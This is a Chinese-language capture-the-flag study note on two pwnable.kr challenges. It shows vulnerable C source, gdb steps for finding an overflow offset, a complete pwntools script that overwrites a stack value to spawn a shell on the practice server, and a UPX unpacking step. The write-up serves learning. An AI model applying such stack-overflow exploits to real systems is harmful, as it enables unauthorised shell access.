pwn 练习笔记 暑假的第一天
pwnable bof
源码如下
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
看源码意思就是要比较key与0xcafebabe,然而在main中调用func时传入的参数是0xdeadbeef,目标就是覆盖0xdeadbeef为0xcafebabe,通过比较得到flag。gets使我们有可控输入,使用gdb查看0xdeadbeef与我们要输入的字符串之间的距离,然后覆盖。
使用checksec查看bof之后,发现
栈溢出保护,不可执行保护,地址随机保护,都有。一个菜鸡不知道怎么办,看了大佬的博客。然后发现没有任何一个地方提及,未解之谜从假期的第一天开始。
gdb打开调试,在main函数下断(b main)
然后run
在main函数停下,ni到 call func然后si进call
进到func函数之后,ni一直到call get,
然后x/40xw $esp,查看一下栈情况
我们输入的字符串从0xffffd21c开始。0xdeadbeef在0xffffd250之后,所以0xffffd250-0xffffd21c=52,我们需要覆盖52个字节
payload='a'*52 +p32(0xcafebabe)
脚本为下:
from pwn import *
sh = remote('pwnable.kr',9000)
key = 0xcafebabe
payload = 'A'*52 + p32(key)
sh.sendline(payload)
sh.interactive()
pwnable flag
看见题的当时是蒙的,ida打开看发现有点诡异,看了别人的博客发现是upx压缩啦
upx -d flag -o flag1 解压之后,ida再打开看,看见flag这个变量,双击过去看,看到了给flag赋值,拿到flag
这个题的考点有点迷,